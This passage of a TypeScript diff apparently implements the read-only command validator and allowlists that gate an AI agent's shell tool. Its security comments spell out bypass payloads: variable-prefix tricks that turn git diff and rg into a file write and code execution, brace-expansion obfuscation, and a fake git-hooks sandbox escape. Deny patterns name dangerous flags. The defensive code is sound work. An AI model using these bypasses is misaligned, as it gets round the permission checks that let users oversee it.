+  // ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
+  // SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
+  // are deliberately excluded. -F/--filter (read filter from file) also excluded.
+  ss: {
+    safeFlags: {
+      '-h': 'none',
+      '--help': 'none',
+      '-V': 'none',
+      '--version': 'none',
+      '-n': 'none',
+      '--numeric': 'none',
+      '-r': 'none',
+      '--resolve': 'none',
+      '-a': 'none',
+      '--all': 'none',
+      '-l': 'none',
+      '--listening': 'none',
+      '-o': 'none',
+      '--options': 'none',
+      '-e': 'none',
+      '--extended': 'none',
+      '-m': 'none',
+      '--memory': 'none',
+      '-p': 'none',
+      '--processes': 'none',
+      '-i': 'none',
+      '--info': 'none',
+      '-s': 'none',
+      '--summary': 'none',
+      '-4': 'none',
+      '--ipv4': 'none',
+      '-6': 'none',
+      '--ipv6': 'none',
+      '-0': 'none',
+      '--packet': 'none',
+      '-t': 'none',
+      '--tcp': 'none',
+      '-M': 'none',
+      '--mptcp': 'none',
+      '-S': 'none',
+      '--sctp': 'none',
+      '-u': 'none',
+      '--udp': 'none',
+      '-d': 'none',
+      '--dccp': 'none',
+      '-w': 'none',
+      '--raw': 'none',
+      '-x': 'none',
+      '--unix': 'none',
+      '--tipc': 'none',
+      '--vsock': 'none',
+      '-f': 'string',
+      '--family': 'string',
+      '-A': 'string',
+      '--query': 'string',
+      '--socket': 'string',
+      '-Z': 'none',
+      '--context': 'none',
+      '-z': 'none',
+      '--contexts': 'none',
+      // SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
+      // to switch network namespace. While isolated to forked process, too invasive.
+      '-b': 'none',
+      '--bpf': 'none',
+      '-E': 'none',
+      '--events': 'none',
+      '-H': 'none',
+      '--no-header': 'none',
+      '-O': 'none',
+      '--oneline': 'none',
+      '--tipcinfo': 'none',
+      '--tos': 'none',
+      '--cgroup': 'none',
+      '--inet-sockopt': 'none',
+      // SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
+      // SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
+      // SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
+    },
+  },
+
+  // fd/fdfind — fast file finder (fd-find). Read-only search tool.
+  // SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
+  // (execute command with all results) are deliberately excluded.
+  fd: { safeFlags: { ...FD_SAFE_FLAGS } },
+  // fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
+  fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
+
+  ...PYRIGHT_READ_ONLY_COMMANDS,
+  ...DOCKER_READ_ONLY_COMMANDS,
+}
+
+// gh commands are ant-only since they make network requests, which goes against
+// the read-only validation principle of no network access
+const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
+  // All gh read-only commands from shared validation map
+  ...GH_READ_ONLY_COMMANDS,
+  // aki — Anthropic internal knowledge-base search CLI.
+  // Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
+  aki: {
+    safeFlags: {
+      '-h': 'none',
+      '--help': 'none',
+      '-k': 'none',
+      '--keyword': 'none',
+      '-s': 'none',
+      '--semantic': 'none',
+      '--no-adaptive': 'none',
+      '-n': 'number',
+      '--limit': 'number',
+      '-o': 'number',
+      '--offset': 'number',
+      '--source': 'string',
+      '--exclude-source': 'string',
+      '-a': 'string',
+      '--after': 'string',
+      '-b': 'string',
+      '--before': 'string',
+      '--collection': 'string',
+      '--drive': 'string',
+      '--folder': 'string',
+      '--descendants': 'none',
+      '-m': 'string',
+      '--meta': 'string',
+      '-t': 'string',
+      '--threshold': 'string',
+      '--kw-weight': 'string',
+      '--sem-weight': 'string',
+      '-j': 'none',
+      '--json': 'none',
+      '-c': 'none',
+      '--chunk': 'none',
+      '--preview': 'none',
+      '-d': 'none',
+      '--full-doc': 'none',
+      '-v': 'none',
+      '--verbose': 'none',
+      '--stats': 'none',
+      '-S': 'number',
+      '--summarize': 'number',
+      '--explain': 'none',
+      '--examine': 'string',
+      '--url': 'string',
+      '--multi-turn': 'number',
+      '--multi-turn-model': 'string',
+      '--multi-turn-context': 'string',
+      '--no-rerank': 'none',
+      '--audit': 'none',
+      '--local': 'none',
+      '--staging': 'none',
+    },
+  },
+}
+
+function getCommandAllowlist(): Record<string, CommandConfig> {
+  let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
+  // On Windows, xargs can be used as a data-to-code bridge: if a file contains
+  // a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
+  // resolution. Since the UNC path is in file contents (not the command string),
+  // regex-based detection cannot catch this.
+  if (getPlatform() === 'windows') {
+    const { xargs: _, ...rest } = allowlist
+    allowlist = rest
+  }
+  if (process.env.USER_TYPE === 'ant') {
+    return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
+  }
+  return allowlist
+}
+
+/**
+ * Commands that are safe to use as xargs targets for auto-approval.
+ *
+ * SECURITY: Only add a command to this list if it has NO flags that can:
+ * 1. Write to files (e.g., find's -fprint, sed's -i)
+ * 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
+ * 3. Make network requests
+ *
+ * These commands must be purely read-only utilities. When xargs uses one of
+ * these as a target, we stop validating flags after the target command
+ * (see the `break` in isCommandSafeViaFlagParsing), so the command itself
+ * must not have ANY dangerous flags, not just a safe subset.
+ *
+ * Each command was verified by checking its man page for dangerous capabilities.
+ */
+const SAFE_TARGET_COMMANDS_FOR_XARGS = [
+  'echo', // Output only, no dangerous flags
+  'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
+  'wc', // Read-only counting, no dangerous flags
+  'grep', // Read-only search, no dangerous flags
+  'head', // Read-only, no dangerous flags
+  'tail', // Read-only (including -f follow), no dangerous flags
+]
+
+/**
+ * Unified command validation function that replaces individual validator functions.
+ * Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
+ * Handles combined flags, argument validation, and shell quoting bypass detection.
+ */
+export function isCommandSafeViaFlagParsing(command: string): boolean {
+  // Parse the command to get individual tokens using shell-quote for accuracy
+  // Handle glob operators by converting them to strings, they don't matter from the perspective
+  // of this function
+  const parseResult = tryParseShellCommand(command, env => `$${env}`)
+  if (!parseResult.success) return false
+
+  const parsed = parseResult.tokens.map(token => {
+    if (typeof token !== 'string') {
+      token = token as { op: 'glob'; pattern: string }
+      if (token.op === 'glob') {
+        return token.pattern
+      }
+    }
+    return token
+  })
+
+  // If there are operators (pipes, redirects, etc.), it's not a simple command.
+  // Breaking commands down into their constituent parts is handled upstream of
+  // this function, so we reject anything with operators here.
+  const hasOperators = parsed.some(token => typeof token !== 'string')
+  if (hasOperators) {
+    return false
+  }
+
+  // Now we know all tokens are strings
+  const tokens = parsed as string[]
+
+  if (tokens.length === 0) {
+    return false
+  }
+
+  // Find matching command configuration
+  let commandConfig: CommandConfig | undefined
+  let commandTokens: number = 0
+
+  // Check for multi-word commands first (e.g., "git diff", "git stash list")
+  const allowlist = getCommandAllowlist()
+  for (const [cmdPattern] of Object.entries(allowlist)) {
+    const cmdTokens = cmdPattern.split(' ')
+    if (tokens.length >= cmdTokens.length) {
+      let matches = true
+      for (let i = 0; i < cmdTokens.length; i++) {
+        if (tokens[i] !== cmdTokens[i]) {
+          matches = false
+          break
+        }
+      }
+      if (matches) {
+        commandConfig = allowlist[cmdPattern]
+        commandTokens = cmdTokens.length
+        break
+      }
+    }
+  }
+
+  if (!commandConfig) {
+    return false // Command not in allowlist
+  }
+
+  // Special handling for git ls-remote to reject URLs that could lead to data exfiltration
+  if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
+    // Check if any argument looks like a URL or remote specification
+    for (let i = 2; i < tokens.length; i++) {
+      const token = tokens[i]
+      if (token && !token.startsWith('-')) {
+        // Reject HTTP/HTTPS URLs
+        if (token.includes('://')) {
+          return false
+        }
+        // Reject SSH URLs like git@github.com:user/repo.git
+        if (token.includes('@') || token.includes(':')) {
+          return false
+        }
+        // Reject variable references
+        if (token.includes('$')) {
+          return false
+        }
+      }
+    }
+  }
+
+  // SECURITY: Reject ANY token containing `$` (variable expansion). The
+  // `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
+  // in tokens, but bash expands it at runtime (unset vars → empty string).
+  // This parser differential defeats BOTH validateFlags and callbacks:
+  //
+  //   (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
+  //       `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
+  //       (starts with `$`) falls through as positional at ~:1730. Bash runs
+  //       `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
+  //
+  //   (2) `$VAR`-prefix → RCE via `rg --pre`:
+  //       `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
+  //       no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
+  //
+  //   (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
+  //       `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
+  //       `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
+  //       `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
+  //       tokens would NOT close this.
+  //
+  // We check ALL tokens after the command prefix. Any `$` means we cannot
+  // determine the runtime token value, so we cannot verify read-only safety.
+  // This check must run BEFORE validateFlags and BEFORE callbacks.
+  for (let i = commandTokens; i < tokens.length; i++) {
+    const token = tokens[i]
+    if (!token) continue
+    // Reject any token containing $ (variable expansion)
+    if (token.includes('$')) {
+      return false
+    }
+    // Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
+    // `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
+    // → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
+    // This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
+    // We require BOTH `{` and `,` to avoid false positives on legitimate
+    // patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
+    // template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
+    // `{1..5}` also needs checking (has `{` + `..`).
+    if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
+      return false
+    }
+  }
+
+  // Validate flags starting after the command tokens
+  if (
+    !validateFlags(tokens, commandTokens, commandConfig, {
+      commandName: tokens[0],
+      rawCommand: command,
+      xargsTargetCommands:
+        tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
+    })
+  ) {
+    return false
+  }
+
+  if (commandConfig.regex && !commandConfig.regex.test(command)) {
+    return false
+  }
+  if (!commandConfig.regex && /`/.test(command)) {
+    return false
+  }
+  // Block newlines and carriage returns in grep/rg patterns as they can be used for injection
+  if (
+    !commandConfig.regex &&
+    (tokens[0] === 'rg' || tokens[0] === 'grep') &&
+    /[\n\r]/.test(command)
+  ) {
+    return false
+  }
+  if (
+    commandConfig.additionalCommandIsDangerousCallback &&
+    commandConfig.additionalCommandIsDangerousCallback(
+      command,
+      tokens.slice(commandTokens),
+    )
+  ) {
+    return false
+  }
+
+  return true
+}
+
+/**
+ * Creates a regex pattern that matches safe invocations of a command.
+ *
+ * The regex ensures commands are invoked safely by blocking:
+ * - Shell metacharacters that could lead to command injection or redirection
+ * - Command substitution via backticks or $()
+ * - Variable expansion that could contain malicious payloads
+ * - Environment variable assignment bypasses (command=value)
+ *
+ * @param command The command name (e.g., 'date', 'npm list', 'ip addr')
+ * @returns RegExp that matches safe invocations of the command
+ */
+function makeRegexForSafeCommand(command: string): RegExp {
+  // Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
+  return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
+}
+
+// Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
+// WARNING: If you are adding new commands here, be very careful to ensure
+// they are truly safe. This includes ensuring:
+// 1. That they don't have any flags that allow file writing or command execution
+// 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
+const READONLY_COMMANDS = [
+  // Cross-platform commands from shared validation
+  ...EXTERNAL_READONLY_COMMANDS,
+
+  // Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
+
+  // Time and date
+  'cal',
+  'uptime',
+
+  // File content viewing (relative paths handled separately)
+  'cat',
+  'head',
+  'tail',
+  'wc',
+  'stat',
+  'strings',
+  'hexdump',
+  'od',
+  'nl',
+
+  // System info
+  'id',
+  'uname',
+  'free',
+  'df',
+  'du',
+  'locale',
+  'groups',
+  'nproc',
+
+  // Path information
+  'basename',
+  'dirname',
+  'realpath',
+
+  // Text processing
+  'cut',
+  'paste',
+  'tr',
+  'column',
+  'tac', // Reverse cat — displays file contents in reverse line order
+  'rev', // Reverse characters in each line
+  'fold', // Wrap lines to specified width
+  'expand', // Convert tabs to spaces
+  'unexpand', // Convert spaces to tabs
+  'fmt', // Simple text formatter — output to stdout only
+  'comm', // Compare sorted files line by line
+  'cmp', // Byte-by-byte file comparison
+  'numfmt', // Number format conversion
+
+  // Path information (additional)
+  'readlink', // Resolve symlinks — displays target of symbolic link
+
+  // File comparison
+  'diff',
+
+  // true and false, used to silence or create errors
+  'true',
+  'false',
+
+  // Misc. safe commands
+  'sleep',
+  'which',
+  'type',
+  'expr', // Evaluate expressions (arithmetic, string matching)
+  'test', // Conditional evaluation (file checks, comparisons)
+  'getconf', // Get system configuration values
+  'seq', // Generate number sequences
+  'tsort', // Topological sort
+  'pr', // Paginate files for printing
+]
+
+// Complex commands that require custom regex patterns
+// Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
+// instead. This allowlist-based approach to CLI flags is more secure and avoids
+// vulns coming from gnu getopt_long.
+const READONLY_COMMAND_REGEXES = new Set([
+  // Convert simple commands to regex patterns using makeRegexForSafeCommand
+  ...READONLY_COMMANDS.map(makeRegexForSafeCommand),
+
+  // Echo that doesn't execute commands or use variables
+  // Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
+  // Also allow optional 2>&1 stderr redirection at the end
+  /^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
+
+  // Claude CLI help
+  /^claude -h$/,
+  /^claude --help$/,
+
+  // Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
+  // (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
+
+  /^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
+
+  // System info
+  /^pwd$/,
+  /^whoami$/,
+  // env and printenv removed - could expose sensitive environment variables
+
+  // Development tools version checking - exact match only, no suffix allowed.
+  // SECURITY: `node -v --run <task>` would execute package.json scripts because
+  // Node processes --run before -v. Python/python3 --version are also anchored
+  // for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
+  // flows through makeRegexForSafeCommand and permits arbitrary suffixes.
+  /^node -v$/,
+  /^node --version$/,
+  /^python --version$/,
+  /^python3 --version$/,
+
+  // Misc. safe commands
+  // tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
+  /^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
+  /^alias$/,
+  /^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
+
+  // Network commands - only allow exact commands with no arguments to prevent network manipulation
+  /^ip addr$/, // Only allow "ip addr" with no additional arguments
+  /^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
+
+  // JSON processing with jq - allow with inline filters and file arguments
+  // File arguments are validated separately by pathValidation.ts
+  // Allow pipes and complex expressions within quotes but prevent dangerous flags
+  // Block command substitution - backticks are dangerous even in single quotes for jq
+  // Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
+  // Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
+  /^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
+
+  // Path commands (path validation ensures they're allowed)
+  // cd command - allows changing to directories
+  /^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
+  // ls command - allows listing directories
+  /^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
+  // find command - blocks dangerous flags
+  // Allow escaped parentheses \( and \) for grouping, but block unescaped ones
+  // NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
+  // not as backslash + paren (which would fail since paren is excluded from the character class)
+  /^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
+])
+
+/**
+ * Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
+ * variables OUTSIDE the quote contexts where bash would treat them as literal.
+ * These could expand to bypass our regex-based security checks.
+ *
+ * Glob examples:
+ * - `python *` could expand to `python --help` if a file named `--help` exists
+ * - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
+ * Globs are literal inside BOTH single and double quotes.
+ *
+ * Variable expansion examples:
+ * - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
+ *   with IFS word splitting, this smuggles positional args past "flags-only"
+ *   regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
+ * - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
+ * Variables are literal ONLY inside single quotes; they expand inside double
+ * quotes and unquoted.
+ *
+ * The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
+ * token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
+ * commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
+ * Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
+ * `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
+ * those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
+ *
+ * @param command The command string to check
+ * @returns true if the command contains unquoted glob or expandable `$`
+ */
+function containsUnquotedExpansion(command: string): boolean {
+  // Track quote state to avoid false positives for patterns inside quoted strings
+  let inSingleQuote = false
+  let inDoubleQuote = false
+  let escaped = false
+
+  for (let i = 0; i < command.length; i++) {
+    const currentChar = command[i]
+
+    // Handle escape sequences
+    if (escaped) {
+      escaped = false
+      continue
+    }
+
+    // SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
+    // `\` inside `'...'` is LITERAL — it does not escape the next character.
+    // Without this guard, `'\'` desyncs the quote tracker: the `\` sets
+    // escaped=true, then the closing `'` is consumed by the escaped-skip
+    // instead of toggling inSingleQuote. Parser stays in single-quote
+    // mode for the rest of the command, missing ALL subsequent expansions.
+    // Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
+    // `*` is inside quotes → returns false (glob NOT detected).
+    // Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
+    // before this function is reached, but we fix the tracker anyway for
+    // consistency with the correct implementations in bashSecurity.ts.
+    if (currentChar === '\\' && !inSingleQuote) {
+      escaped = true
+      continue
+    }
+
+    // Update quote state
+    if (currentChar === "'" && !inDoubleQuote) {
+      inSingleQuote = !inSingleQuote
+      continue
+    }
+
+    if (currentChar === '"' && !inSingleQuote) {
+      inDoubleQuote = !inDoubleQuote
+      continue
+    }
+
+    // Inside single quotes: everything is literal. Skip.
+    if (inSingleQuote) {
+      continue
+    }
+
+    // Check `$` followed by variable-name or special-parameter character.
+    // `$` expands inside double quotes AND unquoted (only SQ makes it literal).
+    if (currentChar === '$') {
+      const next = command[i + 1]
+      if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
+        return true
+      }
+    }
+
+    // Globs are literal inside double quotes too. Only check unquoted.
+    if (inDoubleQuote) {
+      continue
+    }
+
+    // Check for glob characters outside all quotes.
+    // These could expand to anything, including dangerous flags.
+    if (currentChar && /[?*[\]]/.test(currentChar)) {
+      return true
+    }
+  }
+
+  return false
+}
+
+/**
+ * Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
+ * Internal helper function that validates individual commands.
+ *
+ * @param command The command string to check
+ * @returns true if the command is read-only
+ */
+function isCommandReadOnly(command: string): boolean {
+  // Handle common stderr-to-stdout redirection pattern
+  // This handles both "command 2>&1" at the end of a full command
+  // and "command 2>&1" as part of a pipeline component
+  let testCommand = command.trim()
+  if (testCommand.endsWith(' 2>&1')) {
+    // Remove the stderr redirection for pattern matching
+    testCommand = testCommand.slice(0, -5).trim()
+  }
+
+  // Check for Windows UNC paths that could be vulnerable to WebDAV attacks
+  // Do this early to prevent any command with UNC paths from being marked as read-only
+  if (containsVulnerableUncPath(testCommand)) {
+    return false
+  }
+
+  // Check for unquoted glob characters and expandable `$` variables that could
+  // bypass our regex-based security checks. We can't know what these expand to
+  // at runtime, so we can't verify the command is read-only.
+  //
+  // Globs: `python *` could expand to `python --help` if such a file exists.
+  //
+  // Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
+  // last arg of the previous command. With IFS word splitting, this smuggles
+  // positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
+  // check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
+  // commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
+  // have no such guard. See containsUnquotedExpansion for full analysis.
+  if (containsUnquotedExpansion(testCommand)) {
+    return false
+  }
+
+  // Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
+  // Regex filters can be bypassed, so we use strict allowlist validation instead.
+  // This requires defining a set of known safe flags. Claude can help with this,
+  // but please look over it to ensure it didn't add any flags that allow file writes
+  // code execution, or network requests.
+  if (isCommandSafeViaFlagParsing(testCommand)) {
+    return true
+  }
+
+  for (const regex of READONLY_COMMAND_REGEXES) {
+    if (regex.test(testCommand)) {
+      // Prevent git commands with -c flag to avoid config options that can lead to code execution
+      // The -c flag allows setting arbitrary git config values inline, including dangerous ones like
+      // core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
+      // Check for -c preceded by whitespace and followed by whitespace or equals
+      // Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
+      if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
+        return false
+      }
+
+      // Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
+      // The --exec-path flag allows overriding the directory where git looks for executables
+      if (
+        testCommand.includes('git') &&
+        /\s--exec-path[\s=]/.test(testCommand)
+      ) {
+        return false
+      }
+
+      // Prevent git commands with --config-env flag to avoid config injection via environment variables
+      // The --config-env flag allows setting git config values from environment variables, which can be
+      // just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
+      if (
+        testCommand.includes('git') &&
+        /\s--config-env[\s=]/.test(testCommand)
+      ) {
+        return false
+      }
+      return true
+    }
+  }
+  return false
+}
+
+/**
+ * Checks if a compound command contains any git command.
+ *
+ * @param command The full command string to check
+ * @returns true if any subcommand is a git command
+ */
+function commandHasAnyGit(command: string): boolean {
+  return splitCommand_DEPRECATED(command).some(subcmd =>
+    isNormalizedGitCommand(subcmd.trim()),
+  )
+}
+
+/**
+ * Git-internal path patterns that can be exploited for sandbox escape.
+ * If a command creates these files and then runs git, the git command
+ * could execute malicious hooks from the created files.
+ */
+const GIT_INTERNAL_PATTERNS = [
+  /^HEAD$/,
+  /^objects(?:\/|$)/,
+  /^refs(?:\/|$)/,
+  /^hooks(?:\/|$)/,
+]
+
+/**
+ * Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
+ */
+function isGitInternalPath(path: string): boolean {
+  // Normalize path by removing leading ./ or /
+  const normalized = path.replace(/^\.?\//, '')
+  return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
+}
+
+// Commands that only delete or modify in-place (don't create new files at new paths)
+const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
+
+/**
+ * Extracts write paths from a subcommand using PATH_EXTRACTORS.
+ * Only returns paths for commands that can create new files/directories
+ * (write/create operations excluding deletion and in-place modification).
+ */
+function extractWritePathsFromSubcommand(subcommand: string): string[] {
+  const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
+  if (!parseResult.success) return []
+
+  const tokens = parseResult.tokens.filter(
+    (t): t is string => typeof t === 'string',
+  )
+  if (tokens.length === 0) return []
+
+  const baseCmd = tokens[0]
+  if (!baseCmd) return []
+
+  // Only consider commands that can create files at target paths
+  if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
+    return []
+  }
+  const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
+  if (
+    (opType !== 'write' && opType !== 'create') ||
+    NON_CREATING_WRITE_COMMANDS.has(baseCmd)
+  ) {
+    return []
+  }
+
+  const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
+  if (!extractor) return []
+
+  return extractor(tokens.slice(1))
+}
+
+/**
+ * Checks if a compound command writes to any git-internal paths.
+ * This is used to detect potential sandbox escape attacks where a command
+ * creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
+ *
+ * SECURITY: A compound command could bypass the bare repo detection by:
+ * 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
+ * 2. Then running git, which would execute malicious hooks
+ *
+ * Example attack:
+ * mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
+ *
+ * @param command The full command string to check
+ * @returns true if any subcommand writes to git-internal paths
+ */
+function commandWritesToGitInternalPaths(command: string): boolean {
+  const subcommands = splitCommand_DEPRECATED(command)
+
+  for (const subcmd of subcommands) {
+    const trimmed = subcmd.trim()
+
+    // Check write paths from path-based commands (mkdir, touch, cp, mv)
+    const writePaths = extractWritePathsFromSubcommand(trimmed)
+    for (const path of writePaths) {
+      if (isGitInternalPath(path)) {
+        return true
+      }
+    }
+
+    // Check output redirections (e.g., echo x > hooks/pre-commit)
+    const { redirections } = extractOutputRedirections(trimmed)
+    for (const { target } of redirections) {
+      if (isGitInternalPath(target)) {
+        return true
+      }
+    }
+  }
+
+  return false
+}
+
+/**
+ * Checks read-only constraints for bash commands.
+ * This is the single exported function that validates whether a command is read-only.
+ * It handles compound commands, sandbox mode, and safety checks.
+ *
+ * @param input The bash command input to validate
+ * @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
+ *                              This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
+ * @returns PermissionResult indicating whether the command is read-only
+ */
+export function checkReadOnlyConstraints(
+  input: z.infer<typeof BashTool.inputSchema>,
+  compoundCommandHasCd: boolean,
+): PermissionResult {
+  const { command } = input
+
+  // Detect if the command is not parseable and return early
+  const result = tryParseShellCommand(command, env => `$${env}`)
+  if (!result.success) {
+    return {
+      behavior: 'passthrough',
+      message: 'Command cannot be parsed, requires further permission checks',
+    }
+  }
+
+  // Check the original command for safety before splitting
+  // This is important because splitCommand_DEPRECATED may transform the command
+  // (e.g., ${VAR} becomes $VAR)
+  if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
+    return {
+      behavior: 'passthrough',
+      message: 'Command is not read-only, requires further permission checks',
+    }
+  }
+
+  // Check for Windows UNC paths in the original command before transformation
+  // This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
+  if (containsVulnerableUncPath(command)) {
+    return {
+      behavior: 'ask',
+      message:
+        'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
+    }
+  }
+
+  // Check once if any subcommand is a git command (used for multiple security checks below)
+  const hasGitCommand = commandHasAnyGit(command)
+
+  // SECURITY: Block compound commands that have both cd AND git
+  // This prevents sandbox escape via: cd /malicious/dir && git status
+  // where the malicious directory contains fake git hooks that execute arbitrary code.
+  if (compoundCommandHasCd && hasGitCommand) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Compound commands with cd and git require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
+  // This prevents sandbox escape when an attacker has:
+  // 1. Deleted .git/HEAD to invalidate the normal git directory
+  // 2. Created hooks/pre-commit or other git-internal files in the current directory
+  // Git would then treat the cwd as the git directory and execute malicious hooks.
+  if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Git commands in directories with bare repository structure require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Block compound commands that write to git-internal paths AND run git
+  // This prevents sandbox escape where a command creates git-internal files
+  // (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
+  // malicious hooks from the newly created files.
+  // Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
+  if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
+    return {
+      behavior: 'passthrough',
+      message:
+        'Compound commands that create git internal files and run git require permission checks for enhanced security',
+    }
+  }
+
+  // SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
+  // (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
+  // Race condition: a sandboxed command can create bare repo files in a subdirectory,
+  // and a backgrounded git command (e.g. sleep 10 && git status) would pass the
+  // isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
+  if (
